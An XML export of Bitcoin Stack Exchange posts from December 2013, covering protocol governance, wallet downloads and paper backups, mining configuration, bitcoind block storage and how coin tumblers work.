  <row Id="17786" PostTypeId="2" ParentId="17780" CreationDate="2013-12-02T20:06:57.657" Score="2" Body="&lt;p&gt;There are reports online that Butterfly Labs and Avalon were both doing this as some customers have received dusty equipment with mining pool information set, however it is just as likely that the equipment was shipped out with preset pools and customers plugged them in and didn't reconfigure settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=236348.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=236348.0&lt;/a&gt; is an interesting read, however it all appears to be circumstantial evidence at best.&lt;/p&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2013-12-02T20:06:57.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17788" PostTypeId="1" CreationDate="2013-12-02T20:44:22.457" Score="6" ViewCount="2095" Body="&lt;p&gt;We know that the Bitcoin protocol can be updated at any time. Larger updates and hard forks can be difficult to push through, but as long as a majority of the Bitcoin community supports the update, it can happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's unclear to me exactly what &quot;majority&quot; means. Which players have the most weight in the decision-making process?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does it mean &quot;a majority of holders of bitcoin&quot;? If an update is so drastic that it would threaten confidence in Bitcoin, they would likely sell and would vote with their wallets. However, if the update isn't particularly drastic, currency holders would likely have no course of action. If they only use Coinbase, for example, they don't have a choice of which version of the protocol to use.&lt;/li&gt;&#xA;&lt;li&gt;Does it mean a majority of people with software running a version of the Bitcoin protocol? Currency holders with wallets like Bitcoin-Qt? They decide which version to run.&lt;/li&gt;&#xA;&lt;li&gt;Does it mean a majority of nodes? (This is distinct from #2, as a person running 10 nodes in this scenario would get 10 votes instead 1 vote). Someone can flood the network with nodes running the protocol, and if there is a hard fork, people may mistakenly check to see how many nodes support each version, basing their decision on that ratio.&lt;/li&gt;&#xA;&lt;li&gt;Does it mean a majority of merchants? They can decide whether to continue accepting Bitcoin, and they decide whether to convert BTC immediately or to continue to hold it.&lt;/li&gt;&#xA;&lt;li&gt;Does it mean a majority of mining power? The miners are the ones who decide which blocks to accept and work off of.&lt;/li&gt;&#xA;&lt;li&gt;Does it mean a majority of the developers (weighted by their influence)? Some have pointed out that that Gavin has a lot of influence and could probably convince people to adopt a particular change, as long as the change is small enough. Are there ways for the developers to  surreptitiously exert control over the progression of the protocol?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I started wondering about this after I read the following question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3945/how-could-the-bitcoin-protocol-be-changed-has-this-ever-occurred&quot;&gt;How could the bitcoin protocol be changed? Has this ever occurred?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the comments, @Muhd says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So it follows that changes will likely only be implemented and adopted if it benefits a large majority of participants. I suppose most security updates would qualify. Technically, isn't it the case that we only need a majority of miners (&gt;50%) to switch over? Or does it require more than that?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;@meni-rosenfeld responds:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;No, a majority of miners is irrelevant. If miners try to change the protocol on their own, they will simply be ignored by the rest of the network, and their &quot;mining rewards&quot; will be worthless. A change requires an economic majority - adoption by the users and businesses who give the currency value.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;P.S. This question is important because there are certain protocol changes that would be good for some parties but bad for others. For example, increasing the block size would be good for payers, but bad for miners (it would be easier to get a transaction in the blockchain, so there'd be lower mining fees).&lt;/p&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-12-19T03:39:19.647" Title="How would changes to the Bitcoin protocol be decided upon? What constitutes a &quot;majority&quot;?" Tags="|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17789" PostTypeId="1" AcceptedAnswerId="17791" CreationDate="2013-12-02T20:47:32.800" Score="4" ViewCount="110" Body="&lt;p&gt;I would like to download install some bitcoin software and create a wallet. I know there are some programs like Bitcoin-QT or Multibit. There are more sources to download these programs. I want to be sure, I downloaded the right one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which software from which url is trustworthy? Can I check the checksum of the downloaded installer of specific version against some MD5 from a list somewhere, that it is safe?&lt;/p&gt;&#xA;" OwnerUserId="9585" LastActivityDate="2017-10-26T09:38:37.460" Title="Trustworthy url address for bitcoin download?" Tags="|wallet|trust|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17790" PostTypeId="2" ParentId="535" CreationDate="2013-12-02T20:56:05.997" Score="-1" Body="&lt;p&gt;Trading bitcoins for CDN$ is also non taxable if occasional and if your are not doing it as a business.. &lt;/p&gt;&#xA;" OwnerUserId="9939" LastActivityDate="2013-12-02T20:56:05.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17791" PostTypeId="2" ParentId="17789" CreationDate="2013-12-02T20:57:10.207" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/en/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoin.org/en/download&lt;/a&gt; is the official download page for bitcoin-qt, it is the oldest client, the most trustworthy and it is the client I would recommend for a beginner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same client can also be downloaded from the Bitcoin Core website, here: &lt;a href=&quot;https://bitcoincore.org/en/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoincore.org/en/download/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9540" LastEditorUserId="51948" LastEditDate="2017-10-26T09:38:37.460" LastActivityDate="2017-10-26T09:38:37.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17792" PostTypeId="2" ParentId="17779" CreationDate="2013-12-02T21:01:27.420" Score="1" Body="&lt;p&gt;Possible, yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probable, no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;12+ million Bitcoins, Bitcoins value 1077. Multiply these and you get 13 000 million dollars.&#xA;This is a lot of money... Even if they had the money and they would be too late. They probably didn't know about this Bitcoin thing from the start. Even if they would try this this would skyrocket the value of Bitcoin.  Because the miners will keep these coins as an investment. Because they would be so rich they don't even care about the still invested money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also know the value of the Bitcoin is related to the cost of mining one. If there is a large investor the value of the Bitcoins will rise and the miners will have more money to mine more coins. They will get richer thanks to the evil investor...&lt;/p&gt;&#xA;" OwnerUserId="9074" LastActivityDate="2013-12-02T21:01:27.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17793" PostTypeId="2" ParentId="28" CreationDate="2013-12-02T21:43:43.037" Score="1" Body="&lt;p&gt;The paper is most secure, because it will be readable after 20 years. If you need long time secure, I suggest following&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Disconnect from internet (or you can boot from CD).&lt;/li&gt;&#xA;&lt;li&gt;Run multibit and create a new wallet&lt;/li&gt;&#xA;&lt;li&gt;Copy you public bitcoin address to some txt file or your email&lt;/li&gt;&#xA;&lt;li&gt;Export your private key as plain text myprivatekey.txt (no password, no crypt)&lt;/li&gt;&#xA;&lt;li&gt;Close multibit&lt;/li&gt;&#xA;&lt;li&gt;Print file myprivatekey.txt on the printer in two copies&lt;/li&gt;&#xA;&lt;li&gt;Delete the entire multibit data folder, it should be in C:\Users\YourUserName\AppData\Roaming\MultiBit\&lt;/li&gt;&#xA;&lt;li&gt;Take scissors and cut every copy of the private key in half.&lt;/li&gt;&#xA;&lt;li&gt;Hide the halves separately into waterproof case and hide the copy in different place/building (for the case of fire).&lt;/li&gt;&#xA;&lt;li&gt;Remember your hiding place.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you do mistake, you will loose all your bitcoins!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you do this, try this with empty wallet. And ensure yourself that you are able to recover the wallet from the private keys from the printed and cut paper on another computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will work, even if all clouds, email, computers, dropboxes and hardisks vanish/destroy and your house burn.&lt;/p&gt;&#xA;" OwnerUserId="9585" LastEditorUserId="9585" LastEditDate="2013-12-02T21:59:06.767" LastActivityDate="2013-12-02T21:59:06.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17794" PostTypeId="1" CreationDate="2013-12-02T21:52:46.727" Score="3" ViewCount="1815" Body="&lt;p&gt;I'm a merchant that is currently developing program that I will use for receiving transactions for my business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like my program to be able to check how much Bitcoin the address sending to me has. I have the entire blockchain downloaded to the computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I'd like something that works like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;String address = &quot;1PSxTeWTVgomscit2BoViZYKSc4QoyrmAk&quot;;&#xA;Double balance = blockChain.getBalance(address);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible? I am having a difficult time finding a way to do this using the blockchain stored on my computer. It seems like it would be fairly easy to do this just using blockchain.info's API, but I would like to keep the process contained on my computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9945" LastEditorUserId="2306" LastEditDate="2014-09-22T02:40:06.297" LastActivityDate="2017-12-19T08:35:37.383" Title="Get address balance in Java" Tags="|balance|java|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17795" PostTypeId="2" ParentId="17788" CreationDate="2013-12-02T21:57:24.900" Score="2" Body="&lt;p&gt;Users have the ultimate power because they decide which blockchain to use. It doesn't matter how much mining power you throw at a blockchain if nobody uses it.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-02T21:57:24.900" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17796" PostTypeId="1" AcceptedAnswerId="18232" CreationDate="2013-12-02T22:01:56.873" Score="1" ViewCount="107" Body="&lt;p&gt;I haven't been able to find a whitepaper or technical spec detailing the bitcoin algorithms and protocols. Google is flooded with too much hand-wavy nonsense. Can someone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="9946" LastActivityDate="2013-12-07T16:16:25.843" Title="Best place to read about the algorithms and protocols underlying bitcoin?" Tags="|specification|" AnswerCount="3" CommentCount="0" ClosedDate="2013-12-11T17:25:38.147" ContentLicense="CC BY-SA 3.0" />
  <row Id="17799" PostTypeId="2" ParentId="17796" CreationDate="2013-12-02T22:14:08.660" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;Bitcoin: A Peer-to-Peer Electronic Cash System&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by: Satoshi Nakamoto&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be a good place to start.&lt;/p&gt;&#xA;" OwnerUserId="9948" LastActivityDate="2013-12-02T22:14:08.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17800" PostTypeId="2" ParentId="17489" CreationDate="2013-12-02T22:52:10.833" Score="1" Body="&lt;p&gt;Have you ever thought of looking through your host's Acceptable Use Policy regarding CPU usage? You're breaking their terms so it's no big surprise that your process keeps getting killed. I'm honestly surprised that you haven't been suspended yet for it. To quote:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPU Usage&#xA;Every vps comes with a number of CPU cores that client has access to. The said CPU cores are not dedicated to any vps. Client may not use more than 85% of one CPU core per process thread for more than 10 minutes. Client may not use 100% of one CPU core for more than 2 minutes. When CPU abuse is detected by our automatic programs, process will be killed and/or vps stopped/suspended, and the above Resource Abuse policy will be enforced. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find a host that allows cryptocurrency mining, or even better- rent a dedicated server.&lt;/p&gt;&#xA;" OwnerUserId="9951" LastActivityDate="2013-12-02T22:52:10.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17801" PostTypeId="1" AcceptedAnswerId="17804" CreationDate="2013-12-02T23:01:19.463" Score="1" ViewCount="119" Body="&lt;p&gt;i haven't read the source code for bitcoind, but i want to know if it downloads bad blocks which will later be rejected by the network (and presumably later removed from bitcoind's block files)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have a script which parses block files into a database and if a block is in the files at one point in time, then gets removed later then my script (as it currently stands) will end up importing the incorrect block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if bitcoind does download bad blocks, how should i avoid importing these into my database? should i just wait and never import the latest, say, 5 blocks?&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2013-12-02T23:55:34.597" LastActivityDate="2013-12-03T00:04:58.523" Title="does bitcoind download bad blocks?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17802" PostTypeId="2" ParentId="11716" CreationDate="2013-12-02T23:14:27.553" Score="0" Body="&lt;p&gt;Here we go, this is the best place atm, if you are interested in a big variety of coins -&lt;a href=&quot;https://www.cryptsy.com/users/register?refid=9754&quot; rel=&quot;nofollow&quot;&gt;https://www.cryptsy.com/users/register?refid=9754&lt;/a&gt;  click there register and start trading today :)&lt;/p&gt;&#xA;" OwnerUserId="9952" LastActivityDate="2013-12-02T23:14:27.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17803" PostTypeId="2" ParentId="17738" CreationDate="2013-12-02T23:38:02.410" Score="0" Body="&lt;p&gt;Having HD6870 set up today as well, the best result I was able to achieve experimentally was around 200.6Kh/s at those settings:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cgminer.exe --scrypt -o url -u user -p pass --intensity 11 -g 1 --worksize 104 --thread-concurrency 2048 --auto-gpu --gpu-engine 1100 --gpu-memclock 1200 --temp-target 80 --auto-fan --temp-overheat 85 --temp-cutoff 90&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Currently the system is running at 74-C with 0HW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed it seems you can't go upper than i11 and concurrency has to be 2^11 i.e. 2048. Otherwise you will get err message about insufficiend memory. &#xA;Better speed is achieved through increasing GPU and memory clock frequencies.&lt;/p&gt;&#xA;" OwnerUserId="9956" LastActivityDate="2013-12-02T23:38:02.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17804" PostTypeId="2" ParentId="17801" CreationDate="2013-12-03T00:04:58.523" Score="2" Body="&lt;p&gt;Bitcoin will store a block on disk as soon as it has verified its proof-of-work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blocks are stored append-only in the block files, and never deleted or overwritten. You cannot judge from the block files which are considered valid, or which are considered the currently best chain - that information is kept in the block index database.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-12-03T00:04:58.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17805" PostTypeId="2" ParentId="17796" CreationDate="2013-12-03T00:09:42.897" Score="1" Body="&lt;p&gt;The cryptographic primitives used in Bitcoin are SHA-256 and ECDSA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For ECDSA: &lt;a href=&quot;http://www.secg.org/collateral/sec2_final.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.secg.org/collateral/sec2_final.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For SHA-256: &lt;a href=&quot;http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf&quot; rel=&quot;nofollow&quot;&gt;http://csrc.nist.gov/publications/fips/fips180-4/fips-180-4.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8848" LastActivityDate="2013-12-03T00:09:42.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17806" PostTypeId="2" ParentId="17779" CreationDate="2013-12-03T00:10:33.340" Score="7" Body="&lt;p&gt;There are really only two things driving the increase in price you are talking about.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Supply and Demand&lt;/li&gt;&#xA;&lt;li&gt;Greed and Fear&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Supply and demand is simple, there is a virtuous cycle at work here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Increasing demand drives price increase due to limited supply&lt;/li&gt;&#xA;&lt;li&gt;Increasing price drives increasing demand as knowledge spreads in the media&lt;/li&gt;&#xA;&lt;li&gt;Repeat&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Greed and Fear are basic human emotions, but the interesting thing is that the Greed and Fear is a community measure not an individuals, this can be considered as the &quot;wisdom&quot; of the crowd.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Large price increases increases greed&lt;/li&gt;&#xA;&lt;li&gt;Increasing greed increases prices&lt;/li&gt;&#xA;&lt;li&gt;Decreasing prices increases fear&lt;/li&gt;&#xA;&lt;li&gt;Increasing fear decreases prices&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When you boil it down to just these things and nothing else (such as cost of mining) you have something like a measure of the psychology involved in these simple concepts applied to the crowd rather than the individual.&lt;/p&gt;&#xA;" OwnerUserId="9957" LastActivityDate="2013-12-03T00:10:33.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17807" PostTypeId="1" AcceptedAnswerId="17809" CreationDate="2013-12-03T00:25:55.860" Score="8" ViewCount="33730" Body="&lt;p&gt;I have recently heard of a &lt;a href=&quot;http://www.theverge.com/2013/12/2/5167670/sheep-marketplace-bitcoin-heist-nets-at-least-5-million-owners-blamed&quot;&gt;bitcoin theft&lt;/a&gt; where the thief used a &lt;a href=&quot;http://www.bitcoinfog.com/&quot;&gt;bitcoin tumbling service&lt;/a&gt; in an (&lt;a href=&quot;http://www.reddit.com/r/SheepMarketplace/comments/1rvlft/i_just_chased_him_through_a_bitcoin_tumbler_and/&quot;&gt;apparently unsuccessful&lt;/a&gt;) attempt to cover their tracks. From this event I have several related questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How does a bitcoin tumbler &quot;launder&quot; bitcoins?&lt;/li&gt;&#xA;&lt;li&gt;Is a tumbling a viable laundering scheme?&lt;/li&gt;&#xA;&lt;li&gt;How would tumbling be made a more/less successful?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="37414" LastEditDate="2018-04-17T23:23:41.997" LastActivityDate="2018-04-17T23:23:41.997" Title="What is a bitcoin tumbler?" Tags="|transactions|blockchain|mixing|money-laundering|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17808" PostTypeId="1" CreationDate="2013-12-03T00:53:20.913" Score="1" ViewCount="208" Body="&lt;p&gt;Sorry for the vague question, I will improve it once I get an answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the picture bellow I marked two &quot;Instruments&quot; that are being used for trading on ICBIT. I don't understand what the difference is and why the value of one is so much higher than the other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XDId9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help understanding what that means would be great&lt;/p&gt;&#xA;" OwnerUserId="9959" LastActivityDate="2014-04-02T07:06:50.513" Title="What is the difference between these two &quot;instruments&quot; ICBIT charts" Tags="|exchanges|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17809" PostTypeId="2" ParentId="17807" CreationDate="2013-12-03T00:57:28.847" Score="7" Body="&lt;p&gt;A tumbler is used to hide/disguise/make it difficult to prove where bitcoins came from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might help to first understand that every bitcoin transaction, right back to the genesis (very first) block is available for public inspection in the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the actual bitcoins are not trackable, only the amounts, addresses and the transactions  - this is important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be able to complete a transfer of bitcoins, you need to know the private key for an address AND know the transaction ID of an unspent transaction sending bitcoins to that address - You don't just send someone 1BTC, you send them 1BTC out of the 1.2BTC you received from person X. In other words, the balance of an address is the sum of the unspent transactions and each transaction clearly shows where the bitcoins came from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tumbler attempts to sever the links between your old address and a new address by sending coins from you to other people and coins from them to you.  It also randomizes transaction amounts and sometimes adds time delays to the transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally there should be no link between the original transactions and the final address of the coins. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;How does a bitcoin tumbler &quot;launder&quot; bitcoins?&#xA;  This is probably answered above&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Is a tumbling a viable laundering scheme?&#xA;  Yes, provided that you are tumbling a small amount of BTC compared to the total volume going through the tumbler (I have no idea what the ideal ratio is). Remember also that the tumbler will give out other peoples coins.  If all the coins going through a tumbler are stolen, you're going to receive stolen coins back, they just won't be linked to the coins to started with.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;How would tumbling be made a more/less successful?&#xA;  See answer to 2.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Edit: Take a look at &lt;a href=&quot;https://blockchain.info/taint/1AYdAw8CcrQ2wx55LTbFHRn5bxgNZhaRLW&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/taint/1AYdAw8CcrQ2wx55LTbFHRn5bxgNZhaRLW&lt;/a&gt; - this shows that 6.6% of the coins at that address came from 1nWxbsMV7XKp7zi2Pq8FzK9HfoPTnBwKV - you can trace it all the way back to when the coins were mined&lt;/p&gt;&#xA;" OwnerUserId="9505" LastActivityDate="2013-12-03T00:57:28.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17810" PostTypeId="2" ParentId="17807" CreationDate="2013-12-03T00:57:37.020" Score="1" Body="&lt;p&gt;The way bitcoin transactions work causes them to be chained together in a permanent public record. They are traceable along the blockchain from one bitcoin address to another. A bitcoin laundry breaks this chain by having two independent wallets, receiving bitcoins to one wallet and sending them from another wallet. Instead of the transaction being a permanent public record, only the bitcoin laundry knows where the bitcoins came from and where they went. The end result is that the bitcoins can't be traced directly through the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-03T00:57:37.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17811" PostTypeId="1" CreationDate="2013-12-03T01:26:48.243" Score="3" ViewCount="587" Body="&lt;p&gt;In the bitcoin leveldb branch, the file libmemenv.a is missing. Because the debian leveldb package does not include it, bitcoin will not compile on debian systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any workaround? Will you all be including this library in an upcoming release?&lt;/p&gt;&#xA;" OwnerUserId="9961" LastEditorUserId="5406" LastEditDate="2014-10-03T12:31:24.833" LastActivityDate="2014-10-03T12:31:24.833" Title="How can I compile bitcoin on debian 7.x Wheezy? Missing libmemenv.a" Tags="|linux|compiling|bitcoin-qt-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17812" PostTypeId="1" AcceptedAnswerId="17814" CreationDate="2013-12-03T02:29:51.563" Score="6" ViewCount="16270" Body="&lt;p&gt;I've got a very precise question and this is not a dupe of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2180/does-bitcoin-rely-on-the-internet&quot;&gt;Does Bitcoin rely on the internet?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question boils down to: when you mine bitcoins, how &quot;often&quot; does the computer/hardware doing the mining need to connect to the Internet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However to better explain what I mean by that question, here are a few sub-questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a computer is mining, when is the result of the mining accepted/confirmed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, after the computer received sufficient information to start mining, when will that information not be sufficient anymore to continue mining?  In other words: when will the computer need to have Internet access so that it can continue mining? 1 picosecond? 1 nanosecond? 1 ms? 1 second? 1 minute? 1 hour? 1 day?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens if some computation is done on my mining computer, but then Internet connection is off? Is the result &quot;lost&quot; and if that result is lost, after how much time is it lost? 1 picosecond? 1 nanosecond? 1 ms? 1 minute? 1 hour? 1 day?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may look like a &quot;stupid&quot; question but it would really help me better understand how BitCoin works...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(as I'm new here [but certainly not new on the SE network] I don't know which tag to use: thanks for retagging accordingly if needed)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9962" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2019-05-30T03:45:43.993" Title="Can you mine bitcoins with an intermittent Internet connection?" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17813" PostTypeId="2" ParentId="13146" CreationDate="2013-12-03T02:37:38.037" Score="-1" Body="&lt;p&gt;Previous poster was correct on Grabbing and AMD  card. But no Cuda on AMD cards. That is Nvidia. As far as your card. You will need to install the cuda tools to get it going and yea, looking at 2-5K&lt;/p&gt;&#xA;" OwnerUserId="9964" LastActivityDate="2013-12-03T02:37:38.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17814" PostTypeId="2" ParentId="17812" CreationDate="2013-12-03T02:37:51.393" Score="3" Body="&lt;p&gt;Assuming you are mining on a pool, your miner needs to receive and send work (shares) every few seconds, with the exact frequency depending on your hashing speed and the difficulty of the shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, my ASIC sends and receives shares at least once every 20 seconds or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need a reliable network connection if you don't want your miner to sit idle. This is the same reason why you normally configure the miner to have fall-back pool servers in case the main pool server goes down.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2013-12-03T02:37:51.393" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17815" PostTypeId="1" CreationDate="2013-12-03T03:04:25.133" Score="1" ViewCount="256" Body="&lt;p&gt;A friend owes me some money and we agreed to settle that debt in bitcoins. How can he transfer some bitcoins to my account, without me having to pay him for it?&lt;/p&gt;&#xA;" OwnerUserId="9968" LastEditorUserId="5292" LastEditDate="2013-12-03T12:33:04.693" LastActivityDate="2013-12-03T12:33:04.693" Title="A friend owes me cash, how can he pay that debt in btc?" Tags="|transactions|wallet|payment|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17816" PostTypeId="1" CreationDate="2013-12-03T03:14:14.070" Score="1" ViewCount="539" Body="&lt;p&gt;To make a short story:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created an account on bter.com along with TOTP (windows, not phone), then I opened the &lt;code&gt;Google Authenticator for windows&lt;/code&gt;, I put the numbers (XXXXXX). I don't remember exactly what it was. Than I transferred my PPC from BTC-e to Bter (about 200ish PPC). I believe it worked but soon after I was automatically logged out, I tried to log back in, but they asked for TOTP? I went to my google authenticator and put the numbers but didn't work. I believe I did something wrong, after that I delete my account from authenticator and made a new one because maybe something was bugged but could not remember the secret key (20 something letter and number). I need to be connected to my btcer account to see that but I cannot at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm french Canadian so sorry about my writing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s: All I have right now is my PPC address on bter because when I open my btc-e wallet I can see that the transaction has been done. So to make a short story I can't log in to bter.com and my PPC are stuck there...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;support@bter.com and admin@bter.com did not answer any of my email (it's been 3 days).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I know my bter username, password, and fund password.&lt;/p&gt;&#xA;" OwnerUserId="9967" LastEditorUserId="15412" LastEditDate="2014-07-14T14:41:37.357" LastActivityDate="2014-07-14T14:41:37.357" Title="I deleted my windows google auth (TOTP), how can I log in on BTER without it?" Tags="|peercoin|bter|" AnswerCount="0" CommentCount="1" ClosedDate="2019-07-17T21:05:36.460" ContentLicense="CC BY-SA 3.0" />
  <row Id="17817" PostTypeId="2" ParentId="8439" CreationDate="2013-12-03T03:23:47.287" Score="2" Body="&lt;p&gt;This was done based on production rate mostly. They did take some things into account but the number doesn't have a real economical explanation rather than the fact that they had to stop production somewhere to maintain a value. &lt;/p&gt;&#xA;" OwnerUserId="9970" LastActivityDate="2013-12-03T03:23:47.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
